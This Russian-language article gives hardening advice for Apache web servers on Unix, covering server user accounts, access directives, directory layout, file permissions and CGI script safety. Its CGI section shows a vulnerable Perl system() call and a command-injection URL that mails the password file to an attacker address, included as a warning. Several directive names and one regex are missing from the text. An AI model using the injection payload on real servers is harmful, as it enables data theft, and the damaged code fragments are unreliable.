Некоторые аспекты безопасности Веб-серверов на Unix платформах

Средства для оценки рисков
Средства разработки и внедрения политик безопасности
Средства мониторинга действий пользователей: Программы, предназначенные для контроля работы пользователей и администраторов за своими компьютерами и в сети Интернет. Они сообщают по сети информацию, которая интересует шефа, ему лично или уполномоченному им лицу.
Средства аудита и восстановления паролей
Шифровальщики файлов: Эти программы обеспечивают недорогое, надежное и быстрое шифрование файлов и дисков с использованием популярных алгоритмов (AES, 3DES, Blowfish, ...)

See the entire folder …

Некоторые аспекты безопасности Веб-серверов на Unix платформах


Защищенность компьютера, на котором работает Веб-сервер, и данных, находящихся на этом компьютере, зависит от многих аспектов. Предисловие Защищенность компьютера, на котором работает Веб-сервер, и данных, находящихся на этом компьютере, зависит от многих аспектов. Основными из них являются: Корректность настройки Веб-сервера. Корректность построения дерева файловой системы. Корректность установки прав доступа к файлам Веб-сервера. Правильное написание CGI сценариев и программ. Рассмотрим их по очереди. Корректность настройки Веб-сервера ---------------------------------- На безопасность работы Веб-сервера влияют некоторые настройки, устанавливаемые вами в файлах конфигурации. Я буду говорить в основном о сервере Apache, хотя все замечания в равной степени применимы и к другим серверам. Прежде всего вам необходимо правильно выбрать пользователя, под которым будет работать Веб-сервер. Дело в том, что в Unix для того, чтобы подсоединиться к 80 порту, по умолчанию используемому в HTTP протоколе, Веб-серверу необходимо иметь права пользователя root. Но отвечать на запросы пользователей с такими правами очень не безопасно. Поэтому Веб-сервер порождает детей с правами другого пользователя, которые и обрабатывают запросы пользователей. В файле конфигурации (http.conf) необходимо указать имя пользователя, под которым будут запускаться дочерние процессы, и группу, к которой он принадлежит. В сервере Apache за это отвечают директивы User и Group. Необходимо создать отдельного пользователя и группу, например apache и webstuff. Нельзя использовать предлагаемые по умолчанию nobody:nogroup - на некоторых системах это открывает "дыры" в защите. Ни в коем случае также нельзя запускать Веб-сервер из под пользователя webadmin, который обычно занимается всем этим хозяйством, т.к. он имеет права записи во все файлы (см. установку прав доступа к файлам). Обязательно запретите login для созданного вами пользователя. Очень важным моментом в настройке Веб-сервера является настройка файла прав доступа (access.conf). Необходимо начать с корня дерева документов сервера и при необходимости конкретизировать установки ниже по дереву для отдельных подкаталогов. На мой взгляд более надежно использовать директиву , а не , т.к. она защищает конкретные наборы файлов, независимо от того, как вы к ним попали (ведь в серверах под Unix можно очень эффективно пользоваться линками к файлам и директориям, делая логическую структуру дерева документов более удобной). Если вы используете Alias, очень внимательно проанализируйте все возможные варианты построения логического дерева (пути к файлу). С самого начала отмените директиву построения индексов (Option Indexes). Если вдруг пропадет файл index.html в каком-либо каталоге, сервер не построит список всех файлов в каталоге. Такой список в некоторых случаях может содержать нежелательные служебные файлы, которые пользователь не должен видеть. Обладание им открывает еще одну потенциальную "дыру". Несмотря на запрет индексирования помещайте в каждый каталог файл index.html хотя бы с пустым (это уже паранойя, но все же...). Разрешайте серверу следовать символьным ссылкам только если вы действительно ими пользуетесь. Для каталога /cgi-bin запретите все кроме ExecCGI. Проверьте, что скажет ваш сервер, если вы запросите http://www.server.dom/cgi-bin/. Он должен послать вас очень далеко, а не выдать список всех ваших сценариев! Все служебные URL, такие как /server-status, /server-conf, должны быть открыты только для вашего доступа. При этом указывайте ваш IP адрес, а не hostname, т.к. hostname можно подделать, а IP адрес намного сложнее. Корректность построения дерева файловой системы ----------------------------------------------- Важно заранее очень хорошо продумать структуру каталогов. Ведь они отражают структуру вашего узла и менять потом все очень сложно. Учитывайте, что количество документов по одной теме будет все время расти. В каталоге не должно быть слишком много файлов. Это затрудняет их поиск, вы можете по ошибке что-то удалить, да и просто усложняет вам работу. Очень важно, чтобы каталог с настройками, каталог с файлами регистрации (logs) и каталог со сценариями находились выше дерева документов. Доступ к каталогу сценариев должен осуществляться директивой ScriptAlias. Рекомендуется такая структура: site_____conf \|__logs \|__cgi-bin \|__htdocs Очень аккуратно пользуйтесь связями, ведущими вне дерева документов. Старайтесь ссылаться только на отдельные файлы, а не на целые каталоги. Но если это нужно, то можно. Корректность установки прав доступа к файлам Веб-сервера -------------------------------------------------------- Все файлы ниже каталога site не должны принадлежать пользователю, под которым работает сервер (apache), но должны принадлежать группе, в которую входит это пользователь (webstuff). Обычно файлами владеет webadmin, также принадлежащий группе webstuff. Все каталоги и файлы должны создаваться с umask = 027, т.е. группа (читай - Веб-сервер) должна иметь только права на чтение и исполнение, а все остальные (не webadmin) не должны иметь никаких прав. Таким образом вам останется охранять только login root'а и webadmin'а. Правильное написание CGI сценариев и программ --------------------------------------------- Одним из основных способов попасть в Ваш сервер, это воспользоваться неправильно написанным сценарием. Существует большое количество книг по безопасным сценариям. Я опишу только основные моменты. Первым способом нарушить работу сценария является переполнение буфера ввода. Никогда не указывайте размер буфера исходя из разумных соображений. Определяйте его динамически: read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); Неплохо также перед этим проверить $ENV{'CONTENT_LENGTH'} и уменьшить ее до некоего разумного предела. Вторым важным моментом является внедрение команд ОС в возвращаемые сценарию переменные. Возьмем пример: Пусть у на в сценарии будет строка (@usernames - массив имен) system "finger @usernames 2>&1"; Если мы вызовем такой сценарий строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?andy+bob то все будет замечательно. Но, если его вызвать строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?`mail+badguys@hackers.org+ то ваш файл паролей улетит к "нехорошим парням". В связи с этим только в крайних случаях используйте такие команды, как system(), exec() и eval(). Всегда проверяйте значения переменных на наличие метасимволов и удаляйте их. Например так: $value =~ tr/'"\t\n\r\/<>\|;//d; $value =~ s///g; Ну а самым надежным способом является проверка каждого поля на точный шаблон данных, которые вы ожидаете получить. Например, если вы запросили почтовый индекс, проверьте его строкой: $zip =~ /^\d{6}$/ а если запросили адрес электронной почты, строкой: $email=~s#(\w+(-\|\.\|))+@(\w+(-\|\.\|))+(ru\|su\|be\|ca\|cz\|ee\|fi)##io; Заключение ---------- Следуя этим нехитрым правилам вы значительно обезопасите ваш сервер от поползновений "нехороших парней", как их мило называют в зарубежной литературе. Главное, это помнить основной принцип обеспечения безопасности - запретите ВСЕ, а потом разрешайте только то, что Вам ДЕЙСТВИТЕЛЬНО необходимо. Ждем ваших писем, так как благодаря им, страничка становится интересней и полезней. E-mail: unix@asphaltstorm.da.ru Андрей Новиков